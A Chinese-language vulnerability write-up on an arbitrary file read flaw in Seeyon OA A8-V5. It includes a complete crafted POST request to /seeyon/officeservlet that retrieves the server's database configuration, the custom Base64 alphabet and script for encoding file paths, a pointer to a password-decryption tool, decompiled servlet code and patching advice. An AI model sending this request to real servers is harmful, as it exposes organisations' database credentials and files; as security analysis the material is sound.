致远OA A8-V5 任意文件读取漏洞分析
字数 1030 2025-08-23 18:31:09
致远OA A8-V5 任意文件读取漏洞分析与利用
漏洞概述
致远OA A8-V5版本存在一个任意文件读取漏洞,攻击者可以通过构造特殊的HTTP请求读取服务器上的任意文件,包括数据库配置文件等敏感信息。
漏洞环境
- 受影响版本:致远A8 V7.0及之前版本
漏洞利用
读取数据库配置文件
通过构造特殊的POST请求,可以读取./../../base/conf/datasourceCtp.properties路径下的数据库配置文件:
POST /seeyon/officeservlet HTTP/1.1
Host: 10.0.103.21
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=98FCAEBB95CCBEB2C7209BEF7EAA7B3E; loginPageURL=
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 350
DBSTEP V3.0 285 0 0 RECORDID=wLoi CREATEDATE=wLehP4whzUoiw=66 originalFileId=wLoi needReadFile=yRWZdAS6 originalCreateDate=wLehP4whzUoiw=66 OPTION=LKDxOWOWLlxwVlOW TEMPLATE=qf85qf85qfDfeazQqAzvcRevy1W3eazvNaMUySz3d7TsdRDsyaM3nYli COMMAND=BSTLOlMSOCQwOV66 affairMemberId=wLoi affairMemberName=wLoi
数据库密码解密
读取出的数据库密码通常为类似/1.0/VWZ0dTIzNC8=的加密格式,可以使用以下工具解密:
- 解密工具GitHub地址:https://github.com/Rvn0xsy/PassDecode-jar
漏洞分析
漏洞入口
漏洞利用的请求路径为/seeyon/officeservlet,对应的处理类为com.seeyon.ctp.common.office.OfficeServlet。
关键代码分析
-
请求处理入口:
public class OfficeServlet extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 初始化环境 handWriteManager.readVariant(request, msgObj); String option = msgObj.GetMsgByName("OPTION"); if ("LOADFILE".equalsIgnoreCase(option)) { handWriteManager.LoadFile(msgObj); } else if ("LOADTEMPLATE".equalsIgnoreCase(option)) { handWriteManager.taoHong(msgObj); // 漏洞触发点 } // 其他处理逻辑... handWriteManager.sendPackage(response, msgObj); } } -
请求解析过程:
handWriteManager.readVariant(request, msgObj)调用msgObj.ReadPackage(request)解析请求ReadPackage方法读取HTTP请求体到this.FStream属性- 调用
this.StreamToMsg()方法解析请求体
-
请求体解析关键代码:
private boolean StreamToMsg() { // 读取http请求体中前64位 String var1 = new String(this.FStream, var14, var2); // 0-15位为版本号 this.FVersion = var1.substring(0, 15); // 16-31位为this.FMsgText的长度 int var11 = Integer.parseInt(var1.substring(16, 31).trim()); // 32-47位为this.FError的长度 int var12 = Integer.parseInt(var1.substring(32, 47).trim()); // 48-63位为this.FMsgFile的长度 int var13 = Integer.parseInt(var1.substring(48, 63).trim()); // 从64位开始读取var11长度的内容到this.FMsgText if (var11 > 0) { this.FMsgText = new String(this.FStream, var14, var11); } // 其他内容读取... } -
参数获取方法:
public String GetMsgByName(String var1) { String var6 = var1.trim().concat("="); int var7 = this.FMsgText.indexOf(var6); if (var7 != -1) { int var8 = this.FMsgText.indexOf("\r\n", var7 + 1); var7 += var6.length(); if (var8 != -1) { String var5 = this.FMsgText.substring(var7, var8); var4 = this.DecodeBase64(var5); // 使用变种BASE64解码 return var4; } } return ""; } -
文件读取关键方法:
public boolean MsgFileLoad(String var1) { File var2 = new File(var1); this.FMsgFile = new byte[(int)var2.length()]; FileInputStream var5 = new FileInputStream(var2); // 读取文件内容到this.FMsgFile for (int var4 = 0; var4 < var3; var4 += var5.read(this.FMsgFile, var4, var3 - var4)) { } var5.close(); this.FFileSize = var3; return true; } -
响应返回过程:
public void sendPackage(HttpServletResponse response, iMsgServer2000 msgObj) { msgObj.SendPackage(response); } public void SendPackage(HttpServletResponse response) { this.MsgVariant(); // 将this.FStream内容写入响应 } public byte[] MsgVariant() { this.MsgToStream(); return this.FStream; } public void MsgToStream() { // 将FMsgText、FError和FMsgFile内容组合到FStream中 }
变种BASE64算法
致远OA使用了一种变种的BASE64编码算法,加解密脚本如下:
var a = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6";
var b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function a2b(v) {
for (var i = 0; i < a.length; i++) {
if (a[i] == v) {
return b[i];
}
}
}
function b2a(v) {
for (var i = 0; i < b.length; i++) {
if (b[i] == v) {
return a[i];
}
}
}
// 加密示例
function encode(str) {
var result = "";
for (var i = 0; i < str.length; i++) {
result += b2a(str[i]);
}
return result;
}
// 解密示例
function decode(str) {
var result = "";
for (var i = 0; i < str.length; i++) {
result += a2b(str[i]);
}
return result;
}
漏洞利用原理
- 攻击者构造特殊的HTTP请求,通过
OPTION=LOADTEMPLATE触发taoHong方法 - 系统从请求体中解析出
TEMPLATE参数(文件路径) - 使用变种BASE64解码文件路径
- 调用
MsgFileLoad方法读取指定文件内容 - 文件内容通过HTTP响应返回给攻击者
防护建议
- 升级到最新版本,官方已发布修复补丁
- 对
/seeyon/officeservlet接口进行访问控制 - 监控系统日志,检测异常文件读取行为
- 定期检查服务器上的敏感文件权限设置
总结
该漏洞利用致远OA对HTTP请求体解析不当以及文件读取功能缺乏足够的安全检查,导致攻击者可以读取服务器上的任意文件。通过分析请求处理流程和参数解析机制,可以构造特定的恶意请求实现文件读取。